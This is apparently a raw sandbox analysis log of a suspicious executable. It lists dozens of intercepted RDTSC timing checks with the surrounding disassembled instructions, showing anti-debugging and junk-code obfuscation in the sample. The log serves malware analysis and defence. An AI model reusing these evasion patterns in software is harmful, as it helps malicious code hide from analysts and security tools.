Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246A69 second address: 1246A6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246A6D second address: 1246A73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246A73 second address: 1246A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007FC14C6D0A28h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1246A88 second address: 1246A8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247670 second address: 1247685 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push edi 0x0000000e pop edi 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247685 second address: 124768B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247D8E second address: 1247D94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1247D94 second address: 1247D99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245C5A second address: 1245C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1245C5E second address: 1245C68 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC14CF3D6D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E25C second address: 124E262 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E262 second address: 124E267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124E267 second address: 124E283 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC14C6D0A3Eh 0x00000008 jmp 00007FC14C6D0A32h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11966E3 second address: 119670B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC14CF3D6DDh 0x0000000e pop edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FC14CF3D6D6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DE37 second address: 124DE3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 124DE3B second address: 124DE63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jns 00007FC14CF3D6D6h 0x0000000d jmp 00007FC14CF3D6E9h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12595E8 second address: 12595F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FC14C6D0A26h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12595F3 second address: 1259623 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007FC14CF3D6D6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jg 00007FC14CF3D6DEh 0x00000013 jnp 00007FC14CF3D6E2h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E8F7 second address: 125E912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14C6D0A37h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B179 second address: 126B189 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B189 second address: 126B19E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC14C6D0A30h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126B19E second address: 126B1A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126AFA8 second address: 126AFC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A38h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126AFC4 second address: 126AFDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC14CF3D6DCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126AFDB second address: 126B002 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A31h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC14C6D0A32h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271A8B second address: 1271AD1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jg 00007FC14CF3D6D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d js 00007FC14CF3D6D6h 0x00000013 pushad 0x00000014 popad 0x00000015 push esi 0x00000016 pop esi 0x00000017 jmp 00007FC14CF3D6E1h 0x0000001c popad 0x0000001d je 00007FC14CF3D6DCh 0x00000023 popad 0x00000024 push esi 0x00000025 jmp 00007FC14CF3D6DAh 0x0000002a pushad 0x0000002b push ebx 0x0000002c pop ebx 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271C1D second address: 1271C21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271C21 second address: 1271C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FC14CF3D6E3h 0x0000000d jmp 00007FC14CF3D6DAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271C46 second address: 1271C89 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A2Ah 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007FC14C6D0A2Eh 0x00000014 pushad 0x00000015 push edx 0x00000016 pop edx 0x00000017 jmp 00007FC14C6D0A38h 0x0000001c jno 00007FC14C6D0A26h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271C89 second address: 1271C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271DF5 second address: 1271E0C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC14C6D0A31h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271E0C second address: 1271E1A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC14CF3D6D8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271E1A second address: 1271E1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271FA5 second address: 1271FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 js 00007FC14CF3D6E3h 0x0000000d jmp 00007FC14CF3D6DDh 0x00000012 push ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1271FC2 second address: 1271FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop ecx 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1272127 second address: 1272160 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007FC14CF3D6E5h 0x0000000c jmp 00007FC14CF3D6DFh 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jne 00007FC14CF3D6D6h 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1272296 second address: 12722B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 pushad 0x00000007 jmp 00007FC14C6D0A2Eh 0x0000000c jl 00007FC14C6D0A2Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1272D76 second address: 1272D8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6DEh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12747F9 second address: 12747FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12747FD second address: 1274803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278041 second address: 127805F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A38h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127805F second address: 1278065 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277BF6 second address: 1277BFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277BFC second address: 1277C08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277C08 second address: 1277C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1277C0C second address: 1277C32 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 pushad 0x0000000a jmp 00007FC14CF3D6DBh 0x0000000f jmp 00007FC14CF3D6DDh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A2C5 second address: 127A2CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127A2CA second address: 127A2EE instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC14CF3D6DAh 0x00000008 pushad 0x00000009 jmp 00007FC14CF3D6E5h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1294D40 second address: 1294D44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296904 second address: 129692E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FC14CF3D6E3h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 jc 00007FC14CF3D6DEh 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129692E second address: 1296938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296938 second address: 1296953 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC14CF3D6DAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jng 00007FC14CF3D6D6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12982C9 second address: 12982CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFEDB second address: 12AFEE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FC14CF3D6D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFEE5 second address: 12AFEE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEFE7 second address: 12AEFEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEFEB second address: 12AEFF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEFF1 second address: 12AEFF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEFF7 second address: 12AEFFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AEFFB second address: 12AF01B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC14CF3D6E6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF01B second address: 12AF01F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF2AA second address: 12AF2B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF2B4 second address: 12AF2B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AF2B9 second address: 12AF2C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12AFA7C second address: 12AFA87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 pop eax 0x00000008 pushad 0x00000009 popad 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2BCD second address: 12B2BEC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 push esi 0x00000013 pop esi 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2BEC second address: 12B2C44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A2Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jnl 00007FC14C6D0A44h 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jo 00007FC14C6D0A3Ch 0x0000001d jmp 00007FC14C6D0A36h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2EEA second address: 12B2EEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2EEF second address: 12B2EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2EF5 second address: 12B2F19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007FC14CF3D6E8h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2F19 second address: 12B2F4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jnl 00007FC14C6D0A2Ch 0x0000000f push dword ptr [ebp+122D227Dh] 0x00000015 jp 00007FC14C6D0A2Ch 0x0000001b and edx, dword ptr [ebp+122D2935h] 0x00000021 push 29BE9B64h 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push esi 0x0000002b pop esi 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2F4B second address: 12B2F51 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B2F51 second address: 12B2F56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5C76 second address: 12B5C7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5C7C second address: 12B5C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12B5C82 second address: 12B5CA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6E0h 0x00000007 jmp 00007FC14CF3D6DAh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556039D second address: 55603A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ch, dh 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55603A4 second address: 55603E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FC14CF3D6E6h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FC14CF3D6E7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55603E5 second address: 556042B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC14C6D0A2Fh 0x00000008 mov ecx, 6981B3AFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushfd 0x00000017 jmp 00007FC14C6D0A2Dh 0x0000001c and ax, 7116h 0x00000021 jmp 00007FC14C6D0A31h 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D9D25 second address: 11D9D2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55605AD second address: 55605D2 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 71FF8247h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FC14C6D0A2Ah 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FC14C6D0A2Ah 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55605D2 second address: 55605D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560614 second address: 5560624 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14C6D0A2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560624 second address: 5560628 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560628 second address: 556064A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 4DBC2682h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC14C6D0A33h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556064A second address: 5560673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 7386C93Ah 0x00000008 mov edi, 03883F06h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 add dword ptr [esp], 27DCF5A6h 0x00000017 pushad 0x00000018 mov cx, di 0x0000001b mov bl, F4h 0x0000001d popad 0x0000001e call 00007FC1BD301060h 0x00000023 push 759227D0h 0x00000028 push dword ptr fs:[00000000h] 0x0000002f mov eax, dword ptr [esp+10h] 0x00000033 mov dword ptr [esp+10h], ebp 0x00000037 lea ebp, dword ptr [esp+10h] 0x0000003b sub esp, eax 0x0000003d push ebx 0x0000003e push esi 0x0000003f push edi 0x00000040 mov eax, dword ptr [759B0140h] 0x00000045 xor dword ptr [ebp-04h], eax 0x00000048 xor eax, ebp 0x0000004a push eax 0x0000004b mov dword ptr [ebp-18h], esp 0x0000004e push dword ptr [ebp-08h] 0x00000051 mov eax, dword ptr [ebp-04h] 0x00000054 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000005b mov dword ptr [ebp-08h], eax 0x0000005e lea eax, dword ptr [ebp-10h] 0x00000061 mov dword ptr fs:[00000000h], eax 0x00000067 ret 0x00000068 push eax 0x00000069 push edx 0x0000006a push eax 0x0000006b push edx 0x0000006c pushad 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560673 second address: 5560677 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560677 second address: 556067D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556067D second address: 5560683 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560683 second address: 5560687 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
